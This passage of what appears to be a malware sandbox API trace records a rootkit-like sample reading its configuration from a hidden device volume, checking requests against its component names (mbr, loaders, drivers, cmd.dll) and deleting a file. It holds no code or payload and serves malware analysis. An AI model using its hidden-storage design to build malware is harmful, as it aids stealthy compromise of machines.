0xfffffa8003baf190 [0126.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.969] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.969] IdePortDispatch () returned 0x103 [0126.969] KeWaitForMutexObject () returned 0x0 [0126.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.969] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.969] IdePortDispatch () returned 0x103 [0126.970] KeWaitForMutexObject () returned 0x0 [0126.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.970] KeLeaveCriticalRegion () [0126.970] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.970] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.970] KeEnterCriticalRegion () [0126.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.970] KeLeaveCriticalRegion () [0126.970] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.970] KeEnterCriticalRegion () [0126.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.970] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.970] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] KeLeaveCriticalRegion () [0126.971] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.971] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.971] KeEnterCriticalRegion () [0126.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] ExFreePoolWithTag (P=0xfffffa80037df310, Tag=0x0) [0126.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] KeLeaveCriticalRegion () [0126.971] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.971] ReleaseMutex (hMutex=0xf0) returned 1 [0126.971] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.971] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.971] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.971] KeEnterCriticalRegion () [0126.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.971] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.971] IdePortDispatch () returned 0x103 [0126.971] KeWaitForMutexObject () returned 0x0 [0126.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.971] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0126.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] KeLeaveCriticalRegion () [0126.971] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.971] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.971] KeEnterCriticalRegion () [0126.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.972] KeLeaveCriticalRegion () [0126.972] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.972] KeEnterCriticalRegion () [0126.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.972] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.972] IdePortDispatch () returned 0x103 [0126.972] KeWaitForMutexObject () returned 0x0 [0126.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.972] KeLeaveCriticalRegion () [0126.972] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.972] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.972] KeEnterCriticalRegion () [0126.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b44000 [0126.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.972] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.972] IdePortDispatch () returned 0x103 [0126.972] KeWaitForMutexObject () returned 0x0 [0126.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.972] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.972] IdePortDispatch () returned 0x103 [0126.973] KeWaitForMutexObject () returned 0x0 [0126.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.973] KeLeaveCriticalRegion () [0126.973] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.973] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.973] KeEnterCriticalRegion () [0126.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.973] KeLeaveCriticalRegion () [0126.974] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.974] KeEnterCriticalRegion () [0126.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.974] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.974] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.974] KeLeaveCriticalRegion () [0126.974] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.974] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.974] KeEnterCriticalRegion () [0126.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.974] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0126.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.974] KeLeaveCriticalRegion () [0126.974] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.974] ReleaseMutex (hMutex=0xf0) returned 1 [0126.974] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.974] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.974] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.974] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.974] KeEnterCriticalRegion () [0126.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.974] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.974] IdePortDispatch () returned 0x103 [0126.975] KeWaitForMutexObject () returned 0x0 [0126.975] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.975] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.975] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.975] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.975] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.975] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.975] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.975] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.975] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.975] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.975] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.975] KeLeaveCriticalRegion () [0126.975] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.975] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.975] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.975] KeEnterCriticalRegion () [0126.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.975] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.975] IdePortDispatch () returned 0x103 [0126.976] KeWaitForMutexObject () returned 0x0 [0126.976] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.976] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.976] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.976] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.976] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.976] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.976] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.976] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.976] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.976] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.976] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.976] KeLeaveCriticalRegion () [0126.976] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.976] ReleaseMutex (hMutex=0x100) returned 1 [0126.976] Sleep (dwMilliseconds=0x2bf20) [0126.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ee25050, dwHighDateTime=0x1d24fa4)) [0126.985] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.985] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.985] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.985] KeEnterCriticalRegion () [0126.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.985] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.985] IdePortDispatch () returned 0x103 [0126.985] KeWaitForMutexObject () returned 0x0 [0126.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.985] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.985] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.985] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.985] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.985] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed370 [0126.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.985] KeLeaveCriticalRegion () [0126.985] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.985] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.985] KeEnterCriticalRegion () [0126.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.986] KeLeaveCriticalRegion () [0126.986] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.986] KeEnterCriticalRegion () [0126.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.986] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.986] IdePortDispatch () returned 0x103 [0126.986] KeWaitForMutexObject () returned 0x0 [0126.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.986] KeLeaveCriticalRegion () [0126.986] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.986] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.986] KeEnterCriticalRegion () [0126.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b47000 [0126.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.987] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.987] IdePortDispatch () returned 0x103 [0126.987] KeWaitForMutexObject () returned 0x0 [0126.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.987] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.987] IdePortDispatch () returned 0x103 [0126.987] KeWaitForMutexObject () returned 0x0 [0126.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.987] KeLeaveCriticalRegion () [0126.987] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.988] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.988] KeEnterCriticalRegion () [0126.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] KeLeaveCriticalRegion () [0126.988] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.988] KeEnterCriticalRegion () [0126.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.988] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] KeLeaveCriticalRegion () [0126.988] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.988] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.988] KeEnterCriticalRegion () [0126.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] ExFreePoolWithTag (P=0xfffffa80037ed370, Tag=0x0) [0126.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.988] KeLeaveCriticalRegion () [0126.988] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.989] ReleaseMutex (hMutex=0xf0) returned 1 [0126.989] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.989] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.989] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.989] KeEnterCriticalRegion () [0126.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.989] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.989] IdePortDispatch () returned 0x103 [0126.989] KeWaitForMutexObject () returned 0x0 [0126.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.989] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.989] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.989] strncpy (in: 